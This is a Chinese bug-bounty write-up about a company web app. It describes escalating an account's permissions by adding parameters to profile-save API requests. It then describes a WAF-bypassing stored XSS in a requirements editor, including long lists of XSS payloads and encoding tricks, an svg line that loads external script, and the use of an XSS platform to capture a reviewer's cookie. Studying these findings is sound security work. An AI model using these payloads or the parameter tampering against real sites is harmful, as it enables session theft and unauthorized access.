前言:
菜鸡笔记,大佬勿喷。
本文可能放图比较少,如漏点,麻烦师傅们及时指出。感激不尽!
祝:大师傅们财源广进!
正文
在某些企业的功能站点上,正常注册账号后,账号是空白的。权限什么的都很小。
很多功能只有查看的权限,或者连查看的权限都没有。
通过点击功能,在BURP流量包中,发现在访问这些功能的请求接口数据包返回都是 false。
分析请求接口或者分析参数,应该是从后端获取的某些值,才会认证成功,并且对相应的功能才能有访问,或者调用的权限。
正常来说,这里是比较头疼的,因为站点请求的大多数数据包都是请求端点接口
类似
GET /user/GegUserInfo HTTP/1.1
GET /company/GegCompanyInfo HTTP/1.1
POST /user/GegUserInfo HTTP/1.1
POST /company/GegCompanyInfo HTTP/1.1
且没有任何参数。并且尝试FUZZ了参数 也是无效。响应包要么是失败,要么参数为NULL
Tips1:
多看数据包。
多注意POST包。多注意POST包。多注意POST包。
在众多没办法操作的数据包中,发现一个POST接口返回包引起了我的注意。
请求包
POST /newData/companyInfo/bindMerchantAccount HTTP/1.1
Host: xx.huoxian.com
Cookie:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 32
Origin: xx.huoxian.com
Referer: xx.huoxian.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
orgcode=&alias=&memberId=&label=
响应包
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 09 Jun 2022 01:14:33 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 56
{"code":"300","msg":"请输入账户别名","data":null}
我对其中的参数编辑后发包。响应包中返回JOSN 为成功。
我刷新页面后,我成功的修改了自己的信息。
之前无法编辑,无法点击的功能
经过修改参数后发包的变化
这一下子就从漫漫数据包的海中打起来精神。
分析了一波后,发现并不是所有接口都可以像操作的,有些只是用来查询,但是并不能为用户控制。
但当前这个接口,我可以通过接口及参数,来给自己账号赋值。尝试FUZZ别的参数,无果。
但是,总觉得一定还有别的功能点存在这样的问题。
继续点击不同的功能点,分析数据包
最终在个人中心处发现了问题。
在修改个人信息的时候会出现这样的流量包
根据接口分析
这条就是保存账号信息的包
POST /newData/companyInfo/updateCompanyInfo HTTP/1.1
这条获取账号信息的包
POST /newData/companyInfo/getMyCompany HTTP/1.1
通过获取接口,获取的了很多信息
这里主要是获取到一些账号包含的参数信息。
接着就是尝试给保存数据包中,添加一些从获取接口来的参数,看看能否添加成功。
比方说在响应包中的weixin
参数。这个参数在当前页面是没有地方可以查看和编辑的。将这个参数添加至保存信息的接口,发包
返回了成功。
使用获取信息的接口验证一下
成功。
接下来就...
一顿操作后,自己的账号在当前站点对功能就有了使用权。
或许这还有另一种玩法,之前在某文章看到
一般在个人签名,介绍的地方容易产生存储型xss,但是当前页面在输出时进行了实体化转义,导致无法执行JavaScript脚本。
但是通过接口查询的时候是发现写入的参数的内容没有过滤,那么就可以通过API接口去fuzz一下,在某处输出时,会被浏览器解析。
Tips2:
在功能处发现一个编辑器,是用来提交需求的。但是无法获取这个编辑器本版。
本着见框就插一下的原则,继续冲
这不就是大佬们口中说的:“有手就行”。
然后我进行了弹窗测试,保存,正常弹窗,美滋滋
本着不想挖高危的白帽不是好帽,借助第三方XSSpt插一手,想着拿审核的cookie再登录后台,如果能登录这个中危是不是就可变高危了。
提交这个需求表单后,我查看自己提交给审核的需求内容
WAF:惊不惊喜!意不意外!
在测试的过程中,发现保存草稿的时候是没有过滤,但是要提交给审核的包,会对提交的数据过滤。
那么就简单了,我直接抓取提交的包,使用BURP发包即可。
我对常见的payload进行尝试
响应包返回保存成功,但是刷新页面后,却已经将危险函数过滤。我进行双写,大小写,编码等方式都无法绕过。
经过测试得到一下结论
script 、alert、on*、href、iframe、... --》卒!
1.a标签(限制字数时推荐使用)
<a href=”javascript:alert(1)>1</a>
2.script标签
<script>alert(1)</script>
3.button标签
<button onfocus=alert(1)>
<button/onclick=alert(1) >xss</button>
4.iframe标签
<iframe onload=alert(1)>
<iframe srcdoc%3d'%26lt%3bbody onload%3dprompt%26lpar%3b1%26rpar%3b%26gt%3b'>
<iframe%2fsrc%3d"data%3atext%2fhtml%3b%26Tab%3bbase64%26Tab%3b,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg%3d%3d">
5.img标签
<img src=1 onerror=alert(1)>
6.math标签
<math href="javascript:alert(1)">1</math>
<math><a/xlink:href=javascript:prompt(1)>Xss
7.command标签
<command oncut=alert(1)>1</command>
8.object标签
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>
9.svg标签
<svg onload=alert(1)>
"><svg/onload=alert(1)// 常用闭合
<svg/onload=s=createElement('script');body.appendChild(s);s.src='js地址'// 引用外部js代码
当然还有很多标签可以触发,例如div、p、textarea、audio、var、video等
10.标签绕过方式当然还有大小写
<ScRipt>alert(1)</ScRipt>
11.video标签
<video src=x onerror=prompt(1);>
<video src=x onerror=alert(x)>
12.audio标签
<audio src=x onerror=alert(47)>
<audio src=x onerror=prompt(1);>
<audio src=1 href=1 onerror="javascript:alert(1)"></audio>
13.div标签
<div style="width:expression(alert(/1/))">1</div> ie浏览器执行
<div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv> url编码绕过
14.keygen标签
<keygen/onfocus=prompt(1);>
<keygen onfocus=javascript:alert(1) autofocus>
卒!
搞不定啊,可是,这个提交的表单明明就可以解析标签啊
一段时间后,心态已经产生了变化。终究还是我太菜了。
这个时候想起群里神启示
再试试,这个漏洞是存在的,可挖!
我再次重新走了一遍申请流程,把关注点放在了,提交申请时的包中,进行了测试。
我将所有字典中的payload ,全部编码后放入请求包中的内容字段。
返回错误。又是一遍挣扎后,还是无果。
我开始回顾了之前在当前企业挖的全部xss漏洞报告。
又想到之前看到过一篇关于xss绕WAF的文章。
好在好记性不如烂笔头,我当时做了笔记,翻开笔记挨个往下测试。还是卒!
但是 在最后。作者总结了一个
一些新奇的xss playload
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<input onfocus=alert(1) autofocus>
<h1 onmousemove="alert(1)">title</h1>
<select onfocus=alert(1) autofocus>
<iframe src="vbscript:msgbox(1)"></iframe>
<iframe src="javascript:alert(1)"></iframe>
<iframe src="vbscript:msgbox(1)"></iframe>
<iframe onload=alert(1)></iframe>
<iframe src="data:text/html,<script>alert(0)</script>"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
</iframe><iframe src="vbscript:msgbox(1)"></iframe>
</iframe><iframe src="data:text/html,<script>alert(0)</script>"></iframe>
<details open ontoggle=prompt(/xss/)>
<plaintext/onmouseover=prompt(1)>
javascript://comment%250aalert(1)
<img src=x onerror=confirm(1)>
<video><source onerror=alert(1)>
<audio src=x onerror="alert(1)">
<body onload=alert(1)>
<body onscroll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<textarea onfocus=alert(1) autofocus>
想着再试试。
我记不起当时是怎么测试的,反正测试的数据很多,但是最终收获了存储xss漏洞。
<plaintext/onmouseover=prompt(1)>
<img src=1 onerror=alert(2)>
这两条payload经过URL编码,同时插入提交后,成功执行了弹窗。
在经过进一步测试,发现只要我提交的内容中包含<plaintext/onmouseover=prompt(1)>
,我后面提交的任意xsspayload就可以执行成功。
后面就那第三方平台测试,可以成功打到cookie
经过测试,最终在标题字段处,还有内容字段处使用以上方法可以触发两处存储型XSS,
后记:
我很疑惑。为什么这个编辑器如此的奇怪。这条payload为什么能过。
<plaintext/onmouseover=prompt(1)>
<img src=1 onerror=alert(2)>
我开始了本地复测。为什么只能弹窗第一个payload?第二个文本输出了?
带着问题,打开了百度。
关于 HTML <plaintext> 元素
原来使用这个标签后,后面的东西都会当作纯文本来输出。
但是,我这里是,后面执行了。
不知道可不可以这么理解,会不会有这么一种可能,是这种编辑器源码或者是当前系统在开发的时候,就有使用这个标签进行了过滤?而我正好使用了这个标签,闭合掉前面了。所以。我后面的payload,就可以执行了?但是又感觉不像是这样。知识盲区了。
希望大师傅们可以带带弟弟,讲一下,这个是为什么。
如果师傅们在遇到中提到的编辑器,或许也可以试试这种方法。说不出就成功了。
祝:大师傅们财源广进!
带带弟弟!